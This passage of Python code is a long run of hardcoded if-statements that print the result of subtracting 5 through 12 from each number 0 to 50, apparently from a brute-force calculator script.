print("5 - 5 = 0") if firstNum == 6 and sign == "-" and secondNum == 5 : print("6 - 5 = 1") if firstNum == 7 and sign == "-" and secondNum == 5 : print("7 - 5 = 2") if firstNum == 8 and sign == "-" and secondNum == 5 : print("8 - 5 = 3") if firstNum == 9 and sign == "-" and secondNum == 5 : print("9 - 5 = 4") if firstNum == 10 and sign == "-" and secondNum == 5 : print("10 - 5 = 5") if firstNum == 11 and sign == "-" and secondNum == 5 : print("11 - 5 = 6") if firstNum == 12 and sign == "-" and secondNum == 5 : print("12 - 5 = 7") if firstNum == 13 and sign == "-" and secondNum == 5 : print("13 - 5 = 8") if firstNum == 14 and sign == "-" and secondNum == 5 : print("14 - 5 = 9") if firstNum == 15 and sign == "-" and secondNum == 5 : print("15 - 5 = 10") if firstNum == 16 and sign == "-" and secondNum == 5 : print("16 - 5 = 11") if firstNum == 17 and sign == "-" and secondNum == 5 : print("17 - 5 = 12") if firstNum == 18 and sign == "-" and secondNum == 5 : print("18 - 5 = 13") if firstNum == 19 and sign == "-" and secondNum == 5 : print("19 - 5 = 14") if firstNum == 20 and sign == "-" and secondNum == 5 : print("20 - 5 = 15") if firstNum == 21 and sign == "-" and secondNum == 5 : print("21 - 5 = 16") if firstNum == 22 and sign == "-" and secondNum == 5 : print("22 - 5 = 17") if firstNum == 23 and sign == "-" and secondNum == 5 : print("23 - 5 = 18") if firstNum == 24 and sign == "-" and secondNum == 5 : print("24 - 5 = 19") if firstNum == 25 and sign == "-" and secondNum == 5 : print("25 - 5 = 20") if firstNum == 26 and sign == "-" and secondNum == 5 : print("26 - 5 = 21") if firstNum == 27 and sign == "-" and secondNum == 5 : print("27 - 5 = 22") if firstNum == 28 and sign == "-" and secondNum == 5 : print("28 - 5 = 23") if firstNum == 29 and sign == "-" and secondNum == 5 : print("29 - 5 = 24") if firstNum == 30 and sign == "-" and secondNum == 5 : print("30 - 5 = 25") if firstNum == 31 and sign == "-" and secondNum == 5 : print("31 - 5 = 26") if firstNum == 32 and sign == "-" and secondNum == 5 : print("32 - 5 = 27") if firstNum == 33 and sign == "-" and secondNum == 5 : print("33 - 5 = 28") if firstNum == 34 and sign == "-" and secondNum == 5 : print("34 - 5 = 29") if firstNum == 35 and sign == "-" and secondNum == 5 : print("35 - 5 = 30") if firstNum == 36 and sign == "-" and secondNum == 5 : print("36 - 5 = 31") if firstNum == 37 and sign == "-" and secondNum == 5 : print("37 - 5 = 32") if firstNum == 38 and sign == "-" and secondNum == 5 : print("38 - 5 = 33") if firstNum == 39 and sign == "-" and secondNum == 5 : print("39 - 5 = 34") if firstNum == 40 and sign == "-" and secondNum == 5 : print("40 - 5 = 35") if firstNum == 41 and sign == "-" and secondNum == 5 : print("41 - 5 = 36") if firstNum == 42 and sign == "-" and secondNum == 5 : print("42 - 5 = 37") if firstNum == 43 and sign == "-" and secondNum == 5 : print("43 - 5 = 38") if firstNum == 44 and sign == "-" and secondNum == 5 : print("44 - 5 = 39") if firstNum == 45 and sign == "-" and secondNum == 5 : print("45 - 5 = 40") if firstNum == 46 and sign == "-" and secondNum == 5 : print("46 - 5 = 41") if firstNum == 47 and sign == "-" and secondNum == 5 : print("47 - 5 = 42") if firstNum == 48 and sign == "-" and secondNum == 5 : print("48 - 5 = 43") if firstNum == 49 and sign == "-" and secondNum == 5 : print("49 - 5 = 44") if firstNum == 50 and sign == "-" and secondNum == 5 : print("50 - 5 = 45") if firstNum == 0 and sign == "-" and secondNum == 6 : print("0 - 6 = -6") if firstNum == 1 and sign == "-" and secondNum == 6 : print("1 - 6 = -5") if firstNum == 2 and sign == "-" and secondNum == 6 : print("2 - 6 = -4") if firstNum == 3 and sign == "-" and secondNum == 6 : print("3 - 6 = -3") if firstNum == 4 and sign == "-" and secondNum == 6 : print("4 - 6 = -2") if firstNum == 5 and sign == "-" and secondNum == 6 : print("5 - 6 = -1") if firstNum == 6 and sign == "-" and secondNum == 6 : print("6 - 6 = 0") if firstNum == 7 and sign == "-" and secondNum == 6 : print("7 - 6 = 1") if firstNum == 8 and sign == "-" and secondNum == 6 : print("8 - 6 = 2") if firstNum == 9 and sign == "-" and secondNum == 6 : print("9 - 6 = 3") if firstNum == 10 and sign == "-" and secondNum == 6 : print("10 - 6 = 4") if firstNum == 11 and sign == "-" and secondNum == 6 : print("11 - 6 = 5") if firstNum == 12 and sign == "-" and secondNum == 6 : print("12 - 6 = 6") if firstNum == 13 and sign == "-" and secondNum == 6 : print("13 - 6 = 7") if firstNum == 14 and sign == "-" and secondNum == 6 : print("14 - 6 = 8") if firstNum == 15 and sign == "-" and secondNum == 6 : print("15 - 6 = 9") if firstNum == 16 and sign == "-" and secondNum == 6 : print("16 - 6 = 10") if firstNum == 17 and sign == "-" and secondNum == 6 : print("17 - 6 = 11") if firstNum == 18 and sign == "-" and secondNum == 6 : print("18 - 6 = 12") if firstNum == 19 and sign == "-" and secondNum == 6 : print("19 - 6 = 13") if firstNum == 20 and sign == "-" and secondNum == 6 : print("20 - 6 = 14") if firstNum == 21 and sign == "-" and secondNum == 6 : print("21 - 6 = 15") if firstNum == 22 and sign == "-" and secondNum == 6 : print("22 - 6 = 16") if firstNum == 23 and sign == "-" and secondNum == 6 : print("23 - 6 = 17") if firstNum == 24 and sign == "-" and secondNum == 6 : print("24 - 6 = 18") if firstNum == 25 and sign == "-" and secondNum == 6 : print("25 - 6 = 19") if firstNum == 26 and sign == "-" and secondNum == 6 : print("26 - 6 = 20") if firstNum == 27 and sign == "-" and secondNum == 6 : print("27 - 6 = 21") if firstNum == 28 and sign == "-" and secondNum == 6 : print("28 - 6 = 22") if firstNum == 29 and sign == "-" and secondNum == 6 : print("29 - 6 = 23") if firstNum == 30 and sign == "-" and secondNum == 6 : print("30 - 6 = 24") if firstNum == 31 and sign == "-" and secondNum == 6 : print("31 - 6 = 25") if firstNum == 32 and sign == "-" and secondNum == 6 : print("32 - 6 = 26") if firstNum == 33 and sign == "-" and secondNum == 6 : print("33 - 6 = 27") if firstNum == 34 and sign == "-" and secondNum == 6 : print("34 - 6 = 28") if firstNum == 35 and sign == "-" and secondNum == 6 : print("35 - 6 = 29") if firstNum == 36 and sign == "-" and secondNum == 6 : print("36 - 6 = 30") if firstNum == 37 and sign == "-" and secondNum == 6 : print("37 - 6 = 31") if firstNum == 38 and sign == "-" and secondNum == 6 : print("38 - 6 = 32") if firstNum == 39 and sign == "-" and secondNum == 6 : print("39 - 6 = 33") if firstNum == 40 and sign == "-" and secondNum == 6 : print("40 - 6 = 34") if firstNum == 41 and sign == "-" and secondNum == 6 : print("41 - 6 = 35") if firstNum == 42 and sign == "-" and secondNum == 6 : print("42 - 6 = 36") if firstNum == 43 and sign == "-" and secondNum == 6 : print("43 - 6 = 37") if firstNum == 44 and sign == "-" and secondNum == 6 : print("44 - 6 = 38") if firstNum == 45 and sign == "-" and secondNum == 6 : print("45 - 6 = 39") if firstNum == 46 and sign == "-" and secondNum == 6 : print("46 - 6 = 40") if firstNum == 47 and sign == "-" and secondNum == 6 : print("47 - 6 = 41") if firstNum == 48 and sign == "-" and secondNum == 6 : print("48 - 6 = 42") if firstNum == 49 and sign == "-" and secondNum == 6 : print("49 - 6 = 43") if firstNum == 50 and sign == "-" and secondNum == 6 : print("50 - 6 = 44") if firstNum == 0 and sign == "-" and secondNum == 7 : print("0 - 7 = -7") if firstNum == 1 and sign == "-" and secondNum == 7 : print("1 - 7 = -6") if firstNum == 2 and sign == "-" and secondNum == 7 : print("2 - 7 = -5") if firstNum == 3 and sign == "-" and secondNum == 7 : print("3 - 7 = -4") if firstNum == 4 and sign == "-" and secondNum == 7 : print("4 - 7 = -3") if firstNum == 5 and sign == "-" and secondNum == 7 : print("5 - 7 = -2") if firstNum == 6 and sign == "-" and secondNum == 7 : print("6 - 7 = -1") if firstNum == 7 and sign == "-" and secondNum == 7 : print("7 - 7 = 0") if firstNum == 8 and sign == "-" and secondNum == 7 : print("8 - 7 = 1") if firstNum == 9 and sign == "-" and secondNum == 7 : print("9 - 7 = 2") if firstNum == 10 and sign == "-" and secondNum == 7 : print("10 - 7 = 3") if firstNum == 11 and sign == "-" and secondNum == 7 : print("11 - 7 = 4") if firstNum == 12 and sign == "-" and secondNum == 7 : print("12 - 7 = 5") if firstNum == 13 and sign == "-" and secondNum == 7 : print("13 - 7 = 6") if firstNum == 14 and sign == "-" and secondNum == 7 : print("14 - 7 = 7") if firstNum == 15 and sign == "-" and secondNum == 7 : print("15 - 7 = 8") if firstNum == 16 and sign == "-" and secondNum == 7 : print("16 - 7 = 9") if firstNum == 17 and sign == "-" and secondNum == 7 : print("17 - 7 = 10") if firstNum == 18 and sign == "-" and secondNum == 7 : print("18 - 7 = 11") if firstNum == 19 and sign == "-" and secondNum == 7 : print("19 - 7 = 12") if firstNum == 20 and sign == "-" and secondNum == 7 : print("20 - 7 = 13") if firstNum == 21 and sign == "-" and secondNum == 7 : print("21 - 7 = 14") if firstNum == 22 and sign == "-" and secondNum == 7 : print("22 - 7 = 15") if firstNum == 23 and sign == "-" and secondNum == 7 : print("23 - 7 = 16") if firstNum == 24 and sign == "-" and secondNum == 7 : print("24 - 7 = 17") if firstNum == 25 and sign == "-" and secondNum == 7 : print("25 - 7 = 18") if firstNum == 26 and sign == "-" and secondNum == 7 : print("26 - 7 = 19") if firstNum == 27 and sign == "-" and secondNum == 7 : print("27 - 7 = 20") if firstNum == 28 and sign == "-" and secondNum == 7 : print("28 - 7 = 21") if firstNum == 29 and sign == "-" and secondNum == 7 : print("29 - 7 = 22") if firstNum == 30 and sign == "-" and secondNum == 7 : print("30 - 7 = 23") if firstNum == 31 and sign == "-" and secondNum == 7 : print("31 - 7 = 24") if firstNum == 32 and sign == "-" and secondNum == 7 : print("32 - 7 = 25") if firstNum == 33 and sign == "-" and secondNum == 7 : print("33 - 7 = 26") if firstNum == 34 and sign == "-" and secondNum == 7 : print("34 - 7 = 27") if firstNum == 35 and sign == "-" and secondNum == 7 : print("35 - 7 = 28") if firstNum == 36 and sign == "-" and secondNum == 7 : print("36 - 7 = 29") if firstNum == 37 and sign == "-" and secondNum == 7 : print("37 - 7 = 30") if firstNum == 38 and sign == "-" and secondNum == 7 : print("38 - 7 = 31") if firstNum == 39 and sign == "-" and secondNum == 7 : print("39 - 7 = 32") if firstNum == 40 and sign == "-" and secondNum == 7 : print("40 - 7 = 33") if firstNum == 41 and sign == "-" and secondNum == 7 : print("41 - 7 = 34") if firstNum == 42 and sign == "-" and secondNum == 7 : print("42 - 7 = 35") if firstNum == 43 and sign == "-" and secondNum == 7 : print("43 - 7 = 36") if firstNum == 44 and sign == "-" and secondNum == 7 : print("44 - 7 = 37") if firstNum == 45 and sign == "-" and secondNum == 7 : print("45 - 7 = 38") if firstNum == 46 and sign == "-" and secondNum == 7 : print("46 - 7 = 39") if firstNum == 47 and sign == "-" and secondNum == 7 : print("47 - 7 = 40") if firstNum == 48 and sign == "-" and secondNum == 7 : print("48 - 7 = 41") if firstNum == 49 and sign == "-" and secondNum == 7 : print("49 - 7 = 42") if firstNum == 50 and sign == "-" and secondNum == 7 : print("50 - 7 = 43") if firstNum == 0 and sign == "-" and secondNum == 8 : print("0 - 8 = -8") if firstNum == 1 and sign == "-" and secondNum == 8 : print("1 - 8 = -7") if firstNum == 2 and sign == "-" and secondNum == 8 : print("2 - 8 = -6") if firstNum == 3 and sign == "-" and secondNum == 8 : print("3 - 8 = -5") if firstNum == 4 and sign == "-" and secondNum == 8 : print("4 - 8 = -4") if firstNum == 5 and sign == "-" and secondNum == 8 : print("5 - 8 = -3") if firstNum == 6 and sign == "-" and secondNum == 8 : print("6 - 8 = -2") if firstNum == 7 and sign == "-" and secondNum == 8 : print("7 - 8 = -1") if firstNum == 8 and sign == "-" and secondNum == 8 : print("8 - 8 = 0") if firstNum == 9 and sign == "-" and secondNum == 8 : print("9 - 8 = 1") if firstNum == 10 and sign == "-" and secondNum == 8 : print("10 - 8 = 2") if firstNum == 11 and sign == "-" and secondNum == 8 : print("11 - 8 = 3") if firstNum == 12 and sign == "-" and secondNum == 8 : print("12 - 8 = 4") if firstNum == 13 and sign == "-" and secondNum == 8 : print("13 - 8 = 5") if firstNum == 14 and sign == "-" and secondNum == 8 : print("14 - 8 = 6") if firstNum == 15 and sign == "-" and secondNum == 8 : print("15 - 8 = 7") if firstNum == 16 and sign == "-" and secondNum == 8 : print("16 - 8 = 8") if firstNum == 17 and sign == "-" and secondNum == 8 : print("17 - 8 = 9") if firstNum == 18 and sign == "-" and secondNum == 8 : print("18 - 8 = 10") if firstNum == 19 and sign == "-" and secondNum == 8 : print("19 - 8 = 11") if firstNum == 20 and sign == "-" and secondNum == 8 : print("20 - 8 = 12") if firstNum == 21 and sign == "-" and secondNum == 8 : print("21 - 8 = 13") if firstNum == 22 and sign == "-" and secondNum == 8 : print("22 - 8 = 14") if firstNum == 23 and sign == "-" and secondNum == 8 : print("23 - 8 = 15") if firstNum == 24 and sign == "-" and secondNum == 8 : print("24 - 8 = 16") if firstNum == 25 and sign == "-" and secondNum == 8 : print("25 - 8 = 17") if firstNum == 26 and sign == "-" and secondNum == 8 : print("26 - 8 = 18") if firstNum == 27 and sign == "-" and secondNum == 8 : print("27 - 8 = 19") if firstNum == 28 and sign == "-" and secondNum == 8 : print("28 - 8 = 20") if firstNum == 29 and sign == "-" and secondNum == 8 : print("29 - 8 = 21") if firstNum == 30 and sign == "-" and secondNum == 8 : print("30 - 8 = 22") if firstNum == 31 and sign == "-" and secondNum == 8 : print("31 - 8 = 23") if firstNum == 32 and sign == "-" and secondNum == 8 : print("32 - 8 = 24") if firstNum == 33 and sign == "-" and secondNum == 8 : print("33 - 8 = 25") if firstNum == 34 and sign == "-" and secondNum == 8 : print("34 - 8 = 26") if firstNum == 35 and sign == "-" and secondNum == 8 : print("35 - 8 = 27") if firstNum == 36 and sign == "-" and secondNum == 8 : print("36 - 8 = 28") if firstNum == 37 and sign == "-" and secondNum == 8 : print("37 - 8 = 29") if firstNum == 38 and sign == "-" and secondNum == 8 : print("38 - 8 = 30") if firstNum == 39 and sign == "-" and secondNum == 8 : print("39 - 8 = 31") if firstNum == 40 and sign == "-" and secondNum == 8 : print("40 - 8 = 32") if firstNum == 41 and sign == "-" and secondNum == 8 : print("41 - 8 = 33") if firstNum == 42 and sign == "-" and secondNum == 8 : print("42 - 8 = 34") if firstNum == 43 and sign == "-" and secondNum == 8 : print("43 - 8 = 35") if firstNum == 44 and sign == "-" and secondNum == 8 : print("44 - 8 = 36") if firstNum == 45 and sign == "-" and secondNum == 8 : print("45 - 8 = 37") if firstNum == 46 and sign == "-" and secondNum == 8 : print("46 - 8 = 38") if firstNum == 47 and sign == "-" and secondNum == 8 : print("47 - 8 = 39") if firstNum == 48 and sign == "-" and secondNum == 8 : print("48 - 8 = 40") if firstNum == 49 and sign == "-" and secondNum == 8 : print("49 - 8 = 41") if firstNum == 50 and sign == "-" and secondNum == 8 : print("50 - 8 = 42") if firstNum == 0 and sign == "-" and secondNum == 9 : print("0 - 9 = -9") if firstNum == 1 and sign == "-" and secondNum == 9 : print("1 - 9 = -8") if firstNum == 2 and sign == "-" and secondNum == 9 : print("2 - 9 = -7") if firstNum == 3 and sign == "-" and secondNum == 9 : print("3 - 9 = -6") if firstNum == 4 and sign == "-" and secondNum == 9 : print("4 - 9 = -5") if firstNum == 5 and sign == "-" and secondNum == 9 : print("5 - 9 = -4") if firstNum == 6 and sign == "-" and secondNum == 9 : print("6 - 9 = -3") if firstNum == 7 and sign == "-" and secondNum == 9 : print("7 - 9 = -2") if firstNum == 8 and sign == "-" and secondNum == 9 : print("8 - 9 = -1") if firstNum == 9 and sign == "-" and secondNum == 9 : print("9 - 9 = 0") if firstNum == 10 and sign == "-" and secondNum == 9 : print("10 - 9 = 1") if firstNum == 11 and sign == "-" and secondNum == 9 : print("11 - 9 = 2") if firstNum == 12 and sign == "-" and secondNum == 9 : print("12 - 9 = 3") if firstNum == 13 and sign == "-" and secondNum == 9 : print("13 - 9 = 4") if firstNum == 14 and sign == "-" and secondNum == 9 : print("14 - 9 = 5") if firstNum == 15 and sign == "-" and secondNum == 9 : print("15 - 9 = 6") if firstNum == 16 and sign == "-" and secondNum == 9 : print("16 - 9 = 7") if firstNum == 17 and sign == "-" and secondNum == 9 : print("17 - 9 = 8") if firstNum == 18 and sign == "-" and secondNum == 9 : print("18 - 9 = 9") if firstNum == 19 and sign == "-" and secondNum == 9 : print("19 - 9 = 10") if firstNum == 20 and sign == "-" and secondNum == 9 : print("20 - 9 = 11") if firstNum == 21 and sign == "-" and secondNum == 9 : print("21 - 9 = 12") if firstNum == 22 and sign == "-" and secondNum == 9 : print("22 - 9 = 13") if firstNum == 23 and sign == "-" and secondNum == 9 : print("23 - 9 = 14") if firstNum == 24 and sign == "-" and secondNum == 9 : print("24 - 9 = 15") if firstNum == 25 and sign == "-" and secondNum == 9 : print("25 - 9 = 16") if firstNum == 26 and sign == "-" and secondNum == 9 : print("26 - 9 = 17") if firstNum == 27 and sign == "-" and secondNum == 9 : print("27 - 9 = 18") if firstNum == 28 and sign == "-" and secondNum == 9 : print("28 - 9 = 19") if firstNum == 29 and sign == "-" and secondNum == 9 : print("29 - 9 = 20") if firstNum == 30 and sign == "-" and secondNum == 9 : print("30 - 9 = 21") if firstNum == 31 and sign == "-" and secondNum == 9 : print("31 - 9 = 22") if firstNum == 32 and sign == "-" and secondNum == 9 : print("32 - 9 = 23") if firstNum == 33 and sign == "-" and secondNum == 9 : print("33 - 9 = 24") if firstNum == 34 and sign == "-" and secondNum == 9 : print("34 - 9 = 25") if firstNum == 35 and sign == "-" and secondNum == 9 : print("35 - 9 = 26") if firstNum == 36 and sign == "-" and secondNum == 9 : print("36 - 9 = 27") if firstNum == 37 and sign == "-" and secondNum == 9 : print("37 - 9 = 28") if firstNum == 38 and sign == "-" and secondNum == 9 : print("38 - 9 = 29") if firstNum == 39 and sign == "-" and secondNum == 9 : print("39 - 9 = 30") if firstNum == 40 and sign == "-" and secondNum == 9 : print("40 - 9 = 31") if firstNum == 41 and sign == "-" and secondNum == 9 : print("41 - 9 = 32") if firstNum == 42 and sign == "-" and secondNum == 9 : print("42 - 9 = 33") if firstNum == 43 and sign == "-" and secondNum == 9 : print("43 - 9 = 34") if firstNum == 44 and sign == "-" and secondNum == 9 : print("44 - 9 = 35") if firstNum == 45 and sign == "-" and secondNum == 9 : print("45 - 9 = 36") if firstNum == 46 and sign == "-" and secondNum == 9 : print("46 - 9 = 37") if firstNum == 47 and sign == "-" and secondNum == 9 : print("47 - 9 = 38") if firstNum == 48 and sign == "-" and secondNum == 9 : print("48 - 9 = 39") if firstNum == 49 and sign == "-" and secondNum == 9 : print("49 - 9 = 40") if firstNum == 50 and sign == "-" and secondNum == 9 : print("50 - 9 = 41") if firstNum == 0 and sign == "-" and secondNum == 10 : print("0 - 10 = -10") if firstNum == 1 and sign == "-" and secondNum == 10 : print("1 - 10 = -9") if firstNum == 2 and sign == "-" and secondNum == 10 : print("2 - 10 = -8") if firstNum == 3 and sign == "-" and secondNum == 10 : print("3 - 10 = -7") if firstNum == 4 and sign == "-" and secondNum == 10 : print("4 - 10 = -6") if firstNum == 5 and sign == "-" and secondNum == 10 : print("5 - 10 = -5") if firstNum == 6 and sign == "-" and secondNum == 10 : print("6 - 10 = -4") if firstNum == 7 and sign == "-" and secondNum == 10 : print("7 - 10 = -3") if firstNum == 8 and sign == "-" and secondNum == 10 : print("8 - 10 = -2") if firstNum == 9 and sign == "-" and secondNum == 10 : print("9 - 10 = -1") if firstNum == 10 and sign == "-" and secondNum == 10 : print("10 - 10 = 0") if firstNum == 11 and sign == "-" and secondNum == 10 : print("11 - 10 = 1") if firstNum == 12 and sign == "-" and secondNum == 10 : print("12 - 10 = 2") if firstNum == 13 and sign == "-" and secondNum == 10 : print("13 - 10 = 3") if firstNum == 14 and sign == "-" and secondNum == 10 : print("14 - 10 = 4") if firstNum == 15 and sign == "-" and secondNum == 10 : print("15 - 10 = 5") if firstNum == 16 and sign == "-" and secondNum == 10 : print("16 - 10 = 6") if firstNum == 17 and sign == "-" and secondNum == 10 : print("17 - 10 = 7") if firstNum == 18 and sign == "-" and secondNum == 10 : print("18 - 10 = 8") if firstNum == 19 and sign == "-" and secondNum == 10 : print("19 - 10 = 9") if firstNum == 20 and sign == "-" and secondNum == 10 : print("20 - 10 = 10") if firstNum == 21 and sign == "-" and secondNum == 10 : print("21 - 10 = 11") if firstNum == 22 and sign == "-" and secondNum == 10 : print("22 - 10 = 12") if firstNum == 23 and sign == "-" and secondNum == 10 : print("23 - 10 = 13") if firstNum == 24 and sign == "-" and secondNum == 10 : print("24 - 10 = 14") if firstNum == 25 and sign == "-" and secondNum == 10 : print("25 - 10 = 15") if firstNum == 26 and sign == "-" and secondNum == 10 : print("26 - 10 = 16") if firstNum == 27 and sign == "-" and secondNum == 10 : print("27 - 10 = 17") if firstNum == 28 and sign == "-" and secondNum == 10 : print("28 - 10 = 18") if firstNum == 29 and sign == "-" and secondNum == 10 : print("29 - 10 = 19") if firstNum == 30 and sign == "-" and secondNum == 10 : print("30 - 10 = 20") if firstNum == 31 and sign == "-" and secondNum == 10 : print("31 - 10 = 21") if firstNum == 32 and sign == "-" and secondNum == 10 : print("32 - 10 = 22") if firstNum == 33 and sign == "-" and secondNum == 10 : print("33 - 10 = 23") if firstNum == 34 and sign == "-" and secondNum == 10 : print("34 - 10 = 24") if firstNum == 35 and sign == "-" and secondNum == 10 : print("35 - 10 = 25") if firstNum == 36 and sign == "-" and secondNum == 10 : print("36 - 10 = 26") if firstNum == 37 and sign == "-" and secondNum == 10 : print("37 - 10 = 27") if firstNum == 38 and sign == "-" and secondNum == 10 : print("38 - 10 = 28") if firstNum == 39 and sign == "-" and secondNum == 10 : print("39 - 10 = 29") if firstNum == 40 and sign == "-" and secondNum == 10 : print("40 - 10 = 30") if firstNum == 41 and sign == "-" and secondNum == 10 : print("41 - 10 = 31") if firstNum == 42 and sign == "-" and secondNum == 10 : print("42 - 10 = 32") if firstNum == 43 and sign == "-" and secondNum == 10 : print("43 - 10 = 33") if firstNum == 44 and sign == "-" and secondNum == 10 : print("44 - 10 = 34") if firstNum == 45 and sign == "-" and secondNum == 10 : print("45 - 10 = 35") if firstNum == 46 and sign == "-" and secondNum == 10 : print("46 - 10 = 36") if firstNum == 47 and sign == "-" and secondNum == 10 : print("47 - 10 = 37") if firstNum == 48 and sign == "-" and secondNum == 10 : print("48 - 10 = 38") if firstNum == 49 and sign == "-" and secondNum == 10 : print("49 - 10 = 39") if firstNum == 50 and sign == "-" and secondNum == 10 : print("50 - 10 = 40") if firstNum == 0 and sign == "-" and secondNum == 11 : print("0 - 11 = -11") if firstNum == 1 and sign == "-" and secondNum == 11 : print("1 - 11 = -10") if firstNum == 2 and sign == "-" and secondNum == 11 : print("2 - 11 = -9") if firstNum == 3 and sign == "-" and secondNum == 11 : print("3 - 11 = -8") if firstNum == 4 and sign == "-" and secondNum == 11 : print("4 - 11 = -7") if firstNum == 5 and sign == "-" and secondNum == 11 : print("5 - 11 = -6") if firstNum == 6 and sign == "-" and secondNum == 11 : print("6 - 11 = -5") if firstNum == 7 and sign == "-" and secondNum == 11 : print("7 - 11 = -4") if firstNum == 8 and sign == "-" and secondNum == 11 : print("8 - 11 = -3") if firstNum == 9 and sign == "-" and secondNum == 11 : print("9 - 11 = -2") if firstNum == 10 and sign == "-" and secondNum == 11 : print("10 - 11 = -1") if firstNum == 11 and sign == "-" and secondNum == 11 : print("11 - 11 = 0") if firstNum == 12 and sign == "-" and secondNum == 11 : print("12 - 11 = 1") if firstNum == 13 and sign == "-" and secondNum == 11 : print("13 - 11 = 2") if firstNum == 14 and sign == "-" and secondNum == 11 : print("14 - 11 = 3") if firstNum == 15 and sign == "-" and secondNum == 11 : print("15 - 11 = 4") if firstNum == 16 and sign == "-" and secondNum == 11 : print("16 - 11 = 5") if firstNum == 17 and sign == "-" and secondNum == 11 : print("17 - 11 = 6") if firstNum == 18 and sign == "-" and secondNum == 11 : print("18 - 11 = 7") if firstNum == 19 and sign == "-" and secondNum == 11 : print("19 - 11 = 8") if firstNum == 20 and sign == "-" and secondNum == 11 : print("20 - 11 = 9") if firstNum == 21 and sign == "-" and secondNum == 11 : print("21 - 11 = 10") if firstNum == 22 and sign == "-" and secondNum == 11 : print("22 - 11 = 11") if firstNum == 23 and sign == "-" and secondNum == 11 : print("23 - 11 = 12") if firstNum == 24 and sign == "-" and secondNum == 11 : print("24 - 11 = 13") if firstNum == 25 and sign == "-" and secondNum == 11 : print("25 - 11 = 14") if firstNum == 26 and sign == "-" and secondNum == 11 : print("26 - 11 = 15") if firstNum == 27 and sign == "-" and secondNum == 11 : print("27 - 11 = 16") if firstNum == 28 and sign == "-" and secondNum == 11 : print("28 - 11 = 17") if firstNum == 29 and sign == "-" and secondNum == 11 : print("29 - 11 = 18") if firstNum == 30 and sign == "-" and secondNum == 11 : print("30 - 11 = 19") if firstNum == 31 and sign == "-" and secondNum == 11 : print("31 - 11 = 20") if firstNum == 32 and sign == "-" and secondNum == 11 : print("32 - 11 = 21") if firstNum == 33 and sign == "-" and secondNum == 11 : print("33 - 11 = 22") if firstNum == 34 and sign == "-" and secondNum == 11 : print("34 - 11 = 23") if firstNum == 35 and sign == "-" and secondNum == 11 : print("35 - 11 = 24") if firstNum == 36 and sign == "-" and secondNum == 11 : print("36 - 11 = 25") if firstNum == 37 and sign == "-" and secondNum == 11 : print("37 - 11 = 26") if firstNum == 38 and sign == "-" and secondNum == 11 : print("38 - 11 = 27") if firstNum == 39 and sign == "-" and secondNum == 11 : print("39 - 11 = 28") if firstNum == 40 and sign == "-" and secondNum == 11 : print("40 - 11 = 29") if firstNum == 41 and sign == "-" and secondNum == 11 : print("41 - 11 = 30") if firstNum == 42 and sign == "-" and secondNum == 11 : print("42 - 11 = 31") if firstNum == 43 and sign == "-" and secondNum == 11 : print("43 - 11 = 32") if firstNum == 44 and sign == "-" and secondNum == 11 : print("44 - 11 = 33") if firstNum == 45 and sign == "-" and secondNum == 11 : print("45 - 11 = 34") if firstNum == 46 and sign == "-" and secondNum == 11 : print("46 - 11 = 35") if firstNum == 47 and sign == "-" and secondNum == 11 : print("47 - 11 = 36") if firstNum == 48 and sign == "-" and secondNum == 11 : print("48 - 11 = 37") if firstNum == 49 and sign == "-" and secondNum == 11 : print("49 - 11 = 38") if firstNum == 50 and sign == "-" and secondNum == 11 : print("50 - 11 = 39") if firstNum == 0 and sign == "-" and secondNum == 12 : print("0 - 12 = -12") if firstNum == 1 and sign == "-" and secondNum == 12 : print("1 - 12 = -11") if firstNum == 2 and sign == "-" and secondNum == 12 : print("2 - 12 = -10") if firstNum == 3 and sign == "-" and secondNum == 12 : print("3 - 12 = -9") if firstNum == 4 and sign == "-" and secondNum == 12 : print("4 - 12 = -8") if firstNum == 5 and sign == "-" and secondNum == 12 : print("5 - 12 = -7") if firstNum == 6 and sign == "-" and secondNum == 12 : print("6 - 12 = -6") if firstNum == 7 and sign == "-" and secondNum == 12 : print("7 - 12 = -5") if firstNum == 8 and sign == "-" and secondNum == 12 : print("8 - 12 = -4") if firstNum == 9 and sign == "-" and secondNum == 12 : print("9 - 12 = -3") if firstNum == 10 and sign == "-" and secondNum == 12 : print("10 - 12 = -2") if firstNum == 11 and sign == "-" and secondNum == 12 : print("11 - 12 = -1") if firstNum == 12 and sign == "-" and secondNum == 12 : print("12 - 12 = 0") if firstNum == 13 and sign == "-" and secondNum == 12 : print("13 - 12 = 1") if firstNum == 14 and sign == "-" and secondNum == 12 : print("14 - 12 = 2") if firstNum == 15 and sign == "-" and secondNum == 12 : print("15 - 12 = 3") if firstNum == 16 and sign == "-" and secondNum == 12 : print("16 - 12 = 4") if firstNum == 17 and sign == "-" and secondNum == 12 : print("17 - 12 = 5") if firstNum == 18 and sign == "-" and secondNum == 12 : print("18 - 12 = 6") if firstNum == 19 and sign == "-" and secondNum == 12 : print("19 - 12 = 7") if firstNum == 20 and sign == "-" and secondNum == 12 : print("20 - 12 = 8") if firstNum == 21 and sign == "-" and secondNum == 12 : print("21 - 12 = 9") if firstNum == 22 and sign == "-" and secondNum == 12 : print("22 - 12 = 10") if firstNum == 23 and sign == "-" and secondNum == 12 : print("23 - 12 = 11") if firstNum == 24 and sign == "-" and secondNum == 12 : print("24 - 12 = 12") if firstNum == 25 and sign == "-" and secondNum == 12 : print("25 - 12 = 13") if firstNum == 26 and sign == "-" and secondNum == 12 : print("26 - 12 = 14") if firstNum == 27 and sign == "-" and secondNum == 12 : print("27 - 12 = 15") if firstNum == 28 and sign == "-" and secondNum == 12 : print("28 - 12 = 16") if firstNum == 29 and sign == "-" and secondNum == 12 : print("29 - 12 = 17") if firstNum == 30 and sign == "-" and secondNum == 12 : print("30 - 12 = 18") if firstNum == 31 and sign == "-" and secondNum == 12 : print("31 - 12 = 19") if firstNum == 32 and sign == "-" and secondNum == 12 : print("32 - 12 = 20") if firstNum == 33 and sign == "-" and secondNum == 12 : print("33 - 12 = 21") if firstNum == 34 and sign == "-" and secondNum == 12 : print("34 - 12 = 22") if firstNum == 35 and sign == "-" and secondNum == 12 : print("35 - 12 = 23") if firstNum == 36 and sign == "-" and secondNum == 12 : print("36 - 12 = 24") if firstNum == 37 and sign == "-" and secondNum == 12 : print("37 - 12 = 25") if firstNum == 38 and sign == "-" and secondNum == 12 : print("38 - 12 = 26") if firstNum == 39 and sign == "-" and secondNum == 12 : print("39 - 12 = 27") if firstNum == 40 and sign == "-" and secondNum == 12 : print("40 - 12 = 28") if firstNum == 41 and sign == "-" and secondNum == 12 : print("41 - 12 = 29") if firstNum == 42 and sign == "-" and secondNum == 12 : print("42 - 12 = 30") if firstNum == 43 and sign == 